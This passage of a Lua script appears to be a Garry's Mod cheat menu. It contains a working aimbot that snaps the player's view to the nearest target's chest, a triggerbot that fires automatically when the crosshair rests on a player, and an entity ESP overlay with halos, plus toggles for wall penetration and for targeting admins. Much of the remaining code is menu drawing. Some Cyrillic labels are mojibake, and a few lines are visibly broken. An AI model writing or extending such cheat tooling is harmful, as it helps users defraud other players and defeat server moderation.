3910if fiji_aimbot_relock:GetInt() == 1 then
3911pTarget = findNearestPlayer()
3912else
3913pTarget = nil
3914end
3915return
3916end
3917
3918-- Define New
3919local eyes = pTarget:LookupAttachment( "chest" ) -- "chest" = corps si tu veux
3920eyes = ( eyes && pTarget:GetAttachment( eyes ).Pos || pTarget:LocalToWorld( pTarget:OBBCenter() ) )
3921angNew = ( eyes - LocalPlayer():EyePos() ):Angle()
3922-- Aim
3923LocalPlayer():SetEyeAngles( angNew )
3924end)
3925
3926local tblConVarsOptions = {
3927{ title = "Включить", cv = "aimbot_enabled" },
3928{ title = "Travers Mur", cv = "aimbot_wall" },
3929{ title = "Amis Steam", cv = "aimbot_friends" },
3930{ title = "Même team", cv = "aimbot_team" },
3931{ title = "Administrateurs", cv = "aimbot_admins" },
3932}
3933
3934local ply = LocalPlayer()
3935
3936hook.Add( "Think", "Triggerbot", function()
3937local EntTrace = ply:GetEyeTrace().Entity
3938for k,v in pairs (player.GetAll()) do
3939if fiji_triggerbot_active:GetInt() == 1 and ply:Alive() and ply:GetActiveWeapon():IsValid() and ( EntTrace:IsPlayer() ) then
3940if fiji_triggerbot_friends:GetInt() == 0 and EntTrace:IsPlayer() and EntTrace:GetFriendStatus() == "friend" then return end
3941if fiji_triggerbot_team:GetInt() == 0 and EntTrace:IsPlayer() and EntTrace:Team() == ply:Team() then return end
3942if fiji_triggerbot_wall:GetInt() == 0 and tblAdminGroups[v:GetUserGroup()] then continue else end
3943local pos = LocalPlayer():GetShootPos()
3944local ang = LocalPlayer():GetAimVector()
3945local tracedata = {}
3946local td = {start = v:GetShootPos(), endpos = v:GetShootPos() + v:EyeAngles():Forward() * 65535, filter = v, mask = MASK_SHOT}
3947local tr = util.TraceLine(td)
3948tracedata.start = pos
3949tracedata.endpos = pos+(ang*9999999999999)
3950local trace = util.TraceLine(tracedata)
3951if(trace.HitNonWorld) then
3952if tr.Entity:IsPlayer() then
3953RunConsoleCommand("+attack")
3954timer.Simple(0.000000001, function() RunConsoleCommand("-attack") end)
3955end
3956end
3957end
3958end
3959end)
3960
3961
3962
3963
3964
3965
3966
3967local btnaimbotact = BD:CreateBtn( "Включить", 165, 30, 65, 25, pContent )
3968function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_aimbot_active:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_active", 0 ) else RunConsoleCommand( "fiji_aimbot_active", 1 ) end end
3969function btnaimbotact:Think() if fiji_aimbot_active:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3970
3971local btnaimbotact = BD:CreateBtn( "ПроÑтрелы", 235, 30, 65, 25, pContent )
3972function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_aimbot_wall:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_wall", 0 ) else RunConsoleCommand( "fiji_aimbot_wall", 1 ) end end
3973function btnaimbotact:Think() if fiji_aimbot_wall:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3974
3975local btnaimbotact = BD:CreateBtn( "МенÑть Цель.", 305, 30, 65, 25, pContent )
3976function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_aimbot_relock:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_relock", 0 ) else RunConsoleCommand( "fiji_aimbot_relock", 1 ) end end
3977function btnaimbotact:Think() if fiji_aimbot_relock:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3978
3979local btnaimbotact = BD:CreateBtn( "Друзей", 235, 95, 65, 25, pContent )
3980function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_aimbot_friends:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_friends", 0 ) else RunConsoleCommand( "fiji_aimbot_friends", 1 ) end end
3981function btnaimbotact:Think() if fiji_aimbot_friends:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3982
3983local btnaimbotact = BD:CreateBtn( "Ðдминов", 165, 95, 65, 25, pContent )
3984function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_aimbot_admin:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_admin", 0 ) else RunConsoleCommand( "fiji_aimbot_admin", 1 ) end end
3985function btnaimbotact:Think() if fiji_aimbot_admin:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3986
3987local btnaimbotact = BD:CreateBtn( "Команда", 305, 95, 65, 25, pContent )
3988function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_aimbot_team:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_team", 0 ) else RunConsoleCommand( "fiji_aimbot_team", 1 ) end end
3989function btnaimbotact:Think() if fiji_aimbot_team:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3990
3991
3992
3993local btnaimbotact = BD:CreateBtn( "Включить", 165, 230, 65, 25, pContent )
3994function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_triggerbot_active:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_active", 0 ) else RunConsoleCommand( "fiji_triggerbot_active", 1 ) end end
3995function btnaimbotact:Think() if fiji_triggerbot_active:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3996
3997local btnaimbotact = BD:CreateBtn( "Отладка", 235, 230, 65, 25, pContent )
3998function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_triggerbot_opti:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_opti", 0 ) else RunConsoleCommand( "fiji_triggerbot_opti", 1 ) end end
3999function btnaimbotact:Think() if fiji_triggerbot_opti:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
4000
4001local btnaimbotact = BD:CreateBtn( "РеалиÑтик", 305, 230, 65, 25, pContent )
4002function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_triggerbot_real:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_real", 0 ) else RunConsoleCommand( "fiji_triggerbot_real", 1 ) end end
4003function btnaimbotact:Think() if fiji_triggerbot_real:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
4004
4005local btnaimbotact = BD:CreateBtn( "Друзей", 235, 300, 65, 25, pContent )
4006function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_triggerbot_friends:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_friends", 0 ) else RunConsoleCommand( "fiji_triggerbot_friends", 1 ) end end
4007function btnaimbotact:Think() if fiji_triggerbot_friends:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
4008
4009local btnaimbotact = BD:CreateBtn( "Ðдминов", 165, 300, 65, 25, pContent )
4010function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_triggerbot_wall:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_wall", 0 ) else RunConsoleCommand( "fiji_triggerbot_wall", 1 ) end end
4011function btnaimbotact:Think() if fiji_triggerbot_wall:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
4012
4013local btnaimbotact = BD:CreateBtn( "Команду", 305, 300, 65, 25, pContent )
4014function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_triggerbot_team:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_team", 0 ) else RunConsoleCommand( "fiji_triggerbot_team", 1 ) end end
4015function btnaimbotact:Think() if fiji_triggerbot_team:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
4016
4017
4018end -- end aim
4019
4020
4021local save_dir = "vcmod/enthudset.txt"
4022
4023if not file.IsDir( "vcmod" , "DATA" ) then
4024 file.CreateDir( "vcmod", "[]" )
4025end
4026if not file.Exists( save_dir , "DATA" ) then
4027 file.Write( save_dir, "[]" )
4028end
4029
4030local function AddToESP( class, color )
4031 local actual = util.JSONToTable( file.Read( save_dir, "DATA" ) )
4032 actual[class] = color
4033 file.Write( save_dir, util.TableToJSON( actual ) )
4034end
4035
4036local function RemoveFromESP( class )
4037 local actual = util.JSONToTable( file.Read( save_dir, "DATA" ) )
4038 actual[class] = nil
4039 file.Write( save_dir, util.TableToJSON( actual ) )
4040end
4041
4042local function GetESP()
4043 return util.JSONToTable( file.Read( save_dir, "DATA" ) )
4044end
4045
4046local tblColors = {
4047 {
4048 color = Color( 255, 0, 0 )
4049 },
4050 {
4051 color = Color( 255, 102, 0 )
4052 },
4053 {
4054 color = Color( 196, 192, 0 )
4055 },
4056 {
4057 color = Color( 0, 255, 0 )
4058 },
4059 {
4060 color = Color( 0, 0, 255 )
4061 },
4062 {
4063 color = Color( 0, 229, 255 )
4064 },
4065 {
4066 color = Color( 89, 0, 255 )
4067 },
4068 {
4069 color = Color( 255, 0, 250 )
4070 },
4071 {
4072 color = Color( 255, 255, 255 )
4073 },
4074 {
4075 color = Color( 0, 0, 0 )
4076 },
4077}
4078
4079local function reOpenMenu( pnl )
4080 pnl:Remove()
4081 LocalPlayer():ConCommand( "fiji_espent" )
4082end
4083
4084hook.Add( "HUDPaint", "ESPAdvanced:espenttext", function()
4085if fiji_vision_enable_ent:GetInt() == 1 then
4086 if fiji_vision_enable_enttext:GetInt() == 1 then
4087 for Ik, Iv in pairs( GetESP() ) do
4088 for k, v in pairs( ents.FindByClass( Ik ) ) do
4089if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance_ent:GetInt() then continue end
4090 local Pos = ( v:GetPos() ):ToScreen()
4091 draw.SimpleText( Ik, "Trebuchet18", Pos.x, Pos.y, Iv.color, 1, 1 )
4092 end
4093 end
4094 else end
4095 else end
4096end)
4097
4098
4099hook.Add( "PreDrawHalos", "ESPAdvanced:espenthalo", function()
4100 if fiji_vision_enable_ent:GetInt() == 1 then
4101 if fiji_vision_enable_enthalo:GetInt() == 1 then
4102 for k, v in pairs( GetESP() ) do
4103 halo.Add( ents.FindByClass( k ), v.color, 5, 5, 2, true, true )
4104 end
4105 else end
4106 else end
4107end )
4108
4109local blackListESP = {
4110 ["func_brush"] = true,
4111 ["worldspawn"] = true,
4112 ["viewmodel"] = true,
4113 ["widget_base"] = true,
4114 ["widget_bone"] = true,
4115 ["widget_bones"] = true,
4116 ["widget_disc"] = true,
4117 ["edit_sky"] = true,
4118 ["edit_fog"] = true,
4119 ["edit_sun"] = true,
4120 ["gmod_balloon"] = true,
4121 ["gmod_ghost"] = true,
4122 ["widget_axis_arrow"] = true,
4123 ["gmod_light"] = true,
4124 ["gmod_thruster"] = true,
4125 ["base_ai"] = true,
4126 ["base_nextbot"] = true,
4127 ["base_anim"] = true,
4128 ["gmod_dynamite"] = true,
4129 ["prop_effect"] = true,
4130 ["gmod_emitter"] = true,
4131 ["lab_base"] = true,
4132 ["gmod_hands"] = true,
4133 ["ragdoll_motion"] = true,
4134 ["widget_bonemanip_move"] = true,
4135 ["gmod_button"] = true,
4136 ["gmod_cameraprop"] = true,
4137 ["gmod_hoverball"] = true,
4138 ["fadmin_jail"] = true,
4139 ["widget_arrow"] = true,
4140 ["base_point"] = true,
4141 ["widget_axis_disc"] = true,
4142 ["widget_bonemanip_rotate"] = true,
4143 ["widget_bonemanip_scale"] = true,
4144 ["fadmin_motd"] = true,
4145 ["env_skypaint"] = true,
4146 ["base_edit"] = true,
4147 ["base_entity"] = true,
4148 ["gmod_anchor"] = true,
4149 ["gmod_wheel"] = true,
4150 ["gmod_lamp"] = true,
4151 ["sent_ball"] = true,
4152 ["base_gmodentity"] = true,
4153 ["npc_tf2_ghost"] = true,
4154 ["class C_PlayerResource"] = true,
4155 ["class C_GMODGameRulesPro"] = true,
4156}
4157
4158concommand.Add( "fiji_espent", function()
4159 local Base = vgui.Create( "DFrame" )
4160 Base:SetSize( 700, 245 )
4161 Base:SetTitle( "" )
4162 Base:Center()
4163 Base:MakePopup()
4164 Base:ShowCloseButton(false)
4165function Base:Paint( w, h )
4166DrawBlur(self, 25)
4167draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,240 ) )
4168
4169if fiji_style_menu:GetInt() == 2 then
4170draw.RoundedBox( 0, 4, 4, w - 8, 2,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
4171draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
4172draw.RoundedBox( 0, 4, 6, 2, h - 12, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
4173draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
4174elseif fiji_style_menu:GetInt() == 1 then
4175draw.RoundedBox( 0, 4, 4, w - 8, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4176draw.RoundedBox( 0, 4, h - 6, w - 10, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4177draw.RoundedBox( 0, 4, 6, 2, h - 12, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4178draw.RoundedBox( 0, w - 6, 6, 2, h - 10, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4179else
4180draw.RoundedBox( 0, 4, 4, w - 8, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4181draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4182draw.RoundedBox( 0, 4, 6, 2, h - 12, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4183draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4184end
4185end
4186
4187local CloseMain = vgui.Create( "DButton", Base)
4188CloseMain:SetPos( 673, 7)
4189CloseMain:SetSize( 20, 20 )
4190CloseMain:SetTextColor( Color( 255, 255, 255, 255 ) )
4191CloseMain:SetText( "X" )
4192CloseMain.Paint = function( self, w, h )
4193draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
4194if self:IsHovered() then
4195draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
4196else
4197draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 0))
4198end
4199CloseMain.DoClick = function()
4200Base:Remove()
4201end
4202end
4203
4204concommand.Add( "fiji_clearespent", function() -- fiji_sv_existmen
4205Base:Remove()
4206
4207end)
4208
4209
4210local CopiediscordHome = vgui.Create( "DButton", Base)
4211CopiediscordHome:SetPos( 10, 200)
4212CopiediscordHome:SetSize( 80, 35 )
4213CopiediscordHome:SetTextColor( Color( 255, 255, 255, 255 ) )
4214CopiediscordHome:SetText( "Сохранить" )
4215CopiediscordHome.Paint = function( self, w, h )
4216draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
4217if self:IsHovered() then
4218draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
4219aBorder = Color( 110,110,110, 80 )
4220else
4221draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
4222aBorder = Color( 110,110,110, 0 )
4223endder = Color( 110,110,110, 0 )
4224end
4225CopiediscordHome.OnCursorEntered = function(self)
4226surface.PlaySound( fiji_pityhover )
4227end
4228surface.SetDrawColor( aBorder )
4229surface.DrawOutlinedRect( 0, 0, w, h )
4230CopiediscordHome.DoClick = function()
4231LocalPlayer():ConCommand("fiji_clearespent")
4232surface.PlaySound( fiji_pityclick )
4233chat.AddText(Color(0, 0, 0), "[", "Pity", "] ", Color( 89, 255, 105 ), "Entitées sauvegarder" )
4234end
4235end
4236
4237 --[[-------------------------------------------------------------------------
4238 Added
4239 ---------------------------------------------------------------------------]]
4240
4241 local added = vgui.Create( "DPanel", Base )
4242 added:SetSize( 200, 200 )
4243 added:SetPos( 255, 35 )
4244 function added:Paint( intW, intH )
4245 surface.SetDrawColor(75, 75, 75, 50 )
4246 surface.DrawRect( 0, 0, intW, 25 )
4247
4248 draw.SimpleText( "Выбранные Ðнтити", "Trebuchet18", intW / 2, 25 / 2, color_white, 1, 1 )
4249 end
4250
4251 local aScroll = vgui.Create( "DScrollPanel", added )
4252 aScroll:SetSize( added:GetWide(), added:GetTall() - 25 )
4253 aScroll:SetPos( 0, 25 )
4254 aScroll.VBar:SetHideButtons( true )
4255 local scroll = aScroll.VBar
4256 function scroll:Paint( intW, intH )
4257 surface.SetDrawColor( 75, 75, 75, 80)
4258 surface.DrawRect( 0, 0, intW, intH )
4259 end
4260 function scroll.btnGrip:Paint( intW, intH )
4261 surface.SetDrawColor( 255, 255, 255, 10 )
4262 surface.DrawRect( 0, 0, intW, intH )
4263 end
4264
4265 local function makeList()
4266 aScroll:Clear()
4267
4268 local esp = GetESP()
4269
4270 local intItem = 0
4271
4272 for k, v in pairs( esp ) do
4273 local item = vgui.Create( "DPanel", aScroll )
4274 item:SetSize( aScroll:GetWide(), 25 )
4275 item:SetPos( 0, intItem * 25 )
4276 function item:Paint( intW, intH )
4277 surface.SetDrawColor( 75, 75, 75, 50 )
4278 surface.DrawRect( 0, 0, intW, intH )
4279
4280 draw.SimpleText( k, "Trebuchet18", 30, intH / 2, v.color, 0, 1 )
4281 end
4282
4283 local remove = vgui.Create( "DImageButton", item )
4284 remove:SetSize( 10, 10 )
4285 remove:SetPos( 5, item:GetTall() / 2 - remove:GetTall() / 2+3 )
4286 remove:SetImage( "icon16/cross.png" )
4287 remove:SetTooltip( "Supprimer" )
4288 function remove:DoClick()
4289 RemoveFromESP( k )
4290 makeList()
4291 end
4292
4293 intItem = intItem + 1
4294 end
4295 end
4296 makeList()
4297
4298
4299 --[[-------------------------------------------------------------------------
4300 Add
4301 ---------------------------------------------------------------------------]]
4302
4303 local addPanel = vgui.Create( "DPanel", Base )
4304 addPanel:SetSize( 215, 55 )
4305 addPanel:SetPos( 10, 35 )
4306 addPanel:SetBackgroundColor( Color( 50, 50, 50 ) )
4307
4308 local class = vgui.Create( "DTextEntry", addPanel )
4309 class:SetSize( addPanel:GetWide() - 75, 30 )
4310 class:SetPlaceholderText( "Classe" )
4311
4312 local colors = vgui.Create( "DPanel", addPanel )
4313 colors:SetSize( addPanel:GetWide(), 25 )
4314 colors:SetPos( 0, 30 )
4315 function colors:Paint() end
4316
4317 local activeColor = 1
4318
4319 for i = 1, #tblColors do
4320 local color = vgui.Create( "DButton", colors )
4321 color:SetSize( 16, 16 )
4322 color:SetPos( 5 + ( ( i - 1 ) * 21 ), 5 )
4323 color:SetText("")
4324 function color:Paint( intW, intH )
4325 surface.SetDrawColor( tblColors[i].color )
4326 surface.DrawRect( 0, 0, intW, intH )
4327
4328 if activeColor == i then
4329 surface.SetDrawColor( color_white )
4330 surface.DrawOutlinedRect( 0, 0, intW, intH )
4331 surface.SetDrawColor( color_black )
4332 surface.DrawOutlinedRect( 1, 1, intW - 2, intH - 2 )
4333 end
4334 end
4335 function color:DoClick()
4336 activeColor = i
4337 end
4338 end
4339
4340 local add = vgui.Create( "DButton", addPanel )
4341 add:SetSize( addPanel:GetWide() - class:GetWide(), 30 )
4342 add:SetPos( class:GetWide(), 0 )
4343 add:SetText( "Выбрать" )
4344 function add:OnCursorEntered() self.IsHovered = true end
4345function add:OnCursorExited() self.IsHovered = false end
4346function add:Paint( w, h )
4347
4348if self.IsHovered then
4349draw.RoundedBox( 0, 0, 0, w, h, Color( 75, 75, 75, 100 ) )
4350cBorder = Color( 110,110,110, 30 )
4351add:SetTextColor( Color( 255, 255, 255, 255 ) )
4352else
4353draw.RoundedBox( 0, 0, 0, w, h, Color( 75, 75, 75, 50 ) )
4354cBorder = Color( 110,110,110, 0 )
4355add:SetTextColor( Color( 255, 255, 255, 150 ) )
4356end
4357
4358
4359surface.SetDrawColor( cBorder )
4360surface.DrawOutlinedRect( 0, 0, w, h )
4361end
4362 function add:DoClick()
4363 AddToESP( class:GetText() or "null", tblColors[activeColor] or color_whie )
4364 makeList()
4365 end
4366
4367 --[[-------------------------------------------------------------------------
4368 List srv
4369 ---------------------------------------------------------------------------]]
4370
4371 local srvPanelList = vgui.Create( "DPanel", Base )
4372 srvPanelList:SetSize( 200, 200 )
4373 srvPanelList:SetPos( Base:GetWide() - srvPanelList:GetWide() - 10, 35 )
4374 function srvPanelList:Paint( intW, intH )
4375 surface.SetDrawColor( 75, 75, 75, 50 )
4376 surface.DrawRect( 0, 0, intW, 25 )
4377
4378 draw.SimpleText( "СпиÑок Ðнтити на Ñервере", "Trebuchet18", intW / 2, 25 / 2, color_white, 1, 1 )
4379 end
4380
4381 local srvScroll = vgui.Create( "DScrollPanel", srvPanelList )
4382 srvScroll:SetSize( srvPanelList:GetWide(), srvPanelList:GetTall() - 50 )
4383 srvScroll:SetPos( 0, 50 )
4384 srvScroll.VBar:SetHideButtons( true )
4385 local scroll = srvScroll.VBar
4386 function scroll:Paint( intW, intH )
4387 surface.SetDrawColor( 75, 75, 75, 80)
4388
4389 surface.DrawRect( 0, 0, intW, intH )
4390 end
4391 function scroll.btnGrip:Paint( intW, intH )
4392
4393 surface.SetDrawColor( 255, 255, 255, 10 )
4394 surface.DrawRect( 0, 0, intW, intH )
4395 end
4396
4397 local srvList = vgui.Create( "DIconLayout", srvScroll )
4398 srvList:SetSize( srvScroll:GetWide(), srvScroll:GetTall() )
4399
4400 local srv = scripted_ents.GetList()
4401 table.sort( srv, function( a, b ) return a.t.ClassName > b.t.ClassName end )
4402 local getEsp = GetESP()
4403
4404 local intItem = 0
4405
4406 local tblUsed = {}
4407 local tblESp = GetESP()
4408
4409 for k, v in pairs( srv ) do
4410 if tblESp[ v.t.ClassName ] != nil then continue end
4411 if blackListESP[v.t.ClassName] then continue end
4412
4413 if tblUsed[v.t.ClassName] then continue end
4414 tblUsed[v.t.ClassName] = true
4415
4416 local item = srvList:Add( "DPanel" )
4417 item:SetSize( srvScroll:GetWide(), 25 )
4418 item:SetPos( 0, intItem * 25 )
4419 item.class = v.t.ClassName
4420 function item:Paint( intW, intH )
4421 surface.SetDrawColor( 75, 75, 75, 50 )
4422 surface.DrawRect( 0, 0, intW, intH )
4423
4424 draw.SimpleText( v.t.ClassName, "Trebuchet18", 30, intH / 2, color_white, 0, 1 )
4425 end
4426
4427 local remove = vgui.Create( "DImageButton", item )
4428 remove:SetSize( 13, 13 )
4429 remove:SetPos( 5, item:GetTall() / 2 - remove:GetTall() / 2 +2)
4430 remove:SetImage( "icon16/add.png" )
4431 remove:SetTooltip( "Ajouter" )
4432 function remove:DoClick()
4433 class:SetText( v.t.ClassName )
4434 makeList()
4435 end
4436
4437 intItem = intItem + 1
4438 end
4439
4440 local search = vgui.Create( "DTextEntry", srvPanelList )
4441 search:SetSize( srvPanelList:GetWide(), 25 )
4442 search:SetPos( 0, 25 )
4443 function search:OnChange()
4444 for k, v in pairs( srvList:GetChildren() ) do
4445 print( v.class )
4446 if string.find( v.class, self:GetText() ) then
4447 v:SetVisible( true )
4448 else
4449 v:SetVisible( false )
4450 end
4451 srvList:Layout()
4452 end
4453 end
4454
4455end)
4456
4457function BD:Esp( pContent )
4458
4459local BDMenuEsp = vgui.Create("DPanel", pContent)
4460BDMenuEsp:SetSize( 539, 388 )
4461BDMenuEsp:SetPos( 0, 0 )
4462BDMenuEsp.Paint = function( self, w, h)
4463draw.RoundedBox( 0, 0, 0, w, h, Color(255,35,35,0 ) )
4464
4465if fiji_style_menu:GetInt() == 2 then
4466draw.RoundedBox( 0, 0, 146, 2, h - 120, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
4467draw.RoundedBox( 0, 0, 0, 2, h - 286, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
4468
4469elseif fiji_style_menu:GetInt() == 1 then
4470draw.RoundedBox( 0, 0, 146, 2, h - 120, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4471draw.RoundedBox( 0, 0, 0, 2, h - 286, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4472
4473else
4474draw.RoundedBox( 0, 0, 146, 2, h - 120, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4475draw.RoundedBox( 0, 0, 0, 2, h - 286, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4476end
4477
4478
4479draw.RoundedBox( 200, 20, 10, 2, h - 20, Color( 50,50,50, 255 ) )
4480draw.RoundedBox( 200, 250, 10, 2, h - 20, Color( 50,50,50, 255 ) )
4481draw.RoundedBox( 0, 20, 378, w - 307, 2, Color( 50,50,50, 255 ) )
4482draw.RoundedBox( 0, 20, 10, w - 463, 2, Color( 50,50,50, 255 ) )
4483draw.RoundedBox( 0, 175, 10, w - 463, 2, Color( 50,50,50, 255 ) )
4484draw.SimpleText("ЕÑп Игроков", "pity_home3", 100, 10, Color(100, 100, 100,255), 0, 1)
4485
4486draw.RoundedBox( 200, 515, 10, 2, h - 216, Color( 50,50,50, 255 ) )
4487draw.RoundedBox( 200, 282, 10, 2, h - 216, Color( 50,50,50, 255 ) )
4488draw.RoundedBox( 0, 284, 180, w - 307, 2, Color( 50,50,50, 255 ) )
4489draw.RoundedBox( 0, 284, 10, w - 463, 2, Color( 50,50,50, 255 ) )
4490draw.RoundedBox( 0, 440, 10, w - 463, 2, Color( 50,50,50, 255 ) )
4491draw.SimpleText("ЕÑп Ðнтити", "pity_home3", 365, 10, Color(100, 100, 100,255), 0, 1)
4492
4493draw.RoundedBox( 200, 515, 205, 2, h - 213, Color( 50,50,50, 255 ) )
4494draw.RoundedBox( 200, 282, 205, 2, h - 213, Color( 50,50,50, 255 ) )
4495draw.RoundedBox( 0, 284, 378, w - 307, 2, Color( 50,50,50, 255 ) )
4496draw.RoundedBox( 0, 284, 205, w - 455, 2, Color( 50,50,50, 255 ) )
4497draw.RoundedBox( 0, 433, 205, w - 455, 2, Color( 50,50,50, 255 ) )
4498draw.SimpleText("ЕÑп пропов", "pity_home3", 372.5, 205, Color(100, 100, 100,255), 0, 1)
4499end
4500local intW = 125
4501local intY = pContent:GetTall() / 2 - intW / 2
4502
4503
4504local pPcolor = vgui.Create( "DPanel", pContent )
4505pPcolor:SetSize( 205, 50 )
4506pPcolor:SetPos( 33, 243 )
4507function pPcolor:Paint( w, h )
4508draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
4509draw.SimpleText( "Цвет ЕÑп", "pity_home5", 72, 8, color_white, 0, 1 )
4510end
4511local OptionsColorRed = vgui.Create( "DButton", pPcolor )
4512OptionsColorRed:SetPos( 4,20 )
4513OptionsColorRed:SetSize( 20, 20 )
4514OptionsColorRed:SetText( " " )
4515OptionsColorRed.Paint = function( self, w, h )
4516if self:IsHovered() then
4517draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
4518surface.SetDrawColor(255, 255, 255 ,100)
4519surface.DrawOutlinedRect(0, 0, w, h)
4520else
4521draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
4522surface.SetDrawColor(255, 255, 255 ,100)
4523surface.DrawOutlinedRect(0, 0, w, h)
4524end
4525OptionsColorRed.DoClick = function()
4526LocalPlayer():ConCommand("fiji_principal_color 255")
4527LocalPlayer():ConCommand("fiji_secondary_color 0")
4528LocalPlayer():ConCommand("fiji_third_color 0")
4529surface.PlaySound( fiji_pityhover )
4530
4531end
4532end
4533local OptionsColorOrange = vgui.Create( "DButton", pPcolor )
4534OptionsColorOrange:SetPos( 26,20 )
4535OptionsColorOrange:SetSize( 20, 20 )
4536OptionsColorOrange:SetText( " " )
4537OptionsColorOrange.Paint = function( self, w, h )
4538if self:IsHovered() then
4539draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
4540surface.SetDrawColor(255, 255, 255 ,100)
4541surface.DrawOutlinedRect(0, 0, w, h)
4542else
4543draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
4544surface.SetDrawColor(255, 255, 255 ,100)
4545surface.DrawOutlinedRect(0, 0, w, h)
4546end
4547OptionsColorOrange.DoClick = function()
4548LocalPlayer():ConCommand("fiji_principal_color 255")
4549LocalPlayer():ConCommand("fiji_secondary_color 102")
4550LocalPlayer():ConCommand("fiji_third_color 0")
4551surface.PlaySound( fiji_pityhover )
4552
4553end
4554end
4555local OptionsColorYellow = vgui.Create( "DButton", pPcolor )
4556OptionsColorYellow:SetPos( 48,20 )
4557OptionsColorYellow:SetSize( 20, 20 )
4558OptionsColorYellow:SetText( " " )
4559OptionsColorYellow.Paint = function( self, w, h )
4560if self:IsHovered() then
4561draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
4562surface.SetDrawColor(255, 255, 255 ,100)
4563surface.DrawOutlinedRect(0, 0, w, h)
4564else
4565draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
4566surface.SetDrawColor(255, 255, 255 ,100)
4567surface.DrawOutlinedRect(0, 0, w, h)
4568end
4569OptionsColorYellow.DoClick = function()
4570LocalPlayer():ConCommand("fiji_principal_color 196")
4571LocalPlayer():ConCommand("fiji_secondary_color 192")
4572LocalPlayer():ConCommand("fiji_third_color 0")
4573surface.PlaySound( fiji_pityhover )
4574
4575end
4576end
4577local OptionsColorGreen = vgui.Create( "DButton", pPcolor )
4578OptionsColorGreen:SetPos( 70,20 )
4579OptionsColorGreen:SetSize( 20, 20 )
4580OptionsColorGreen:SetText( " " )
4581OptionsColorGreen.Paint = function( self, w, h )
4582if self:IsHovered() then
4583draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
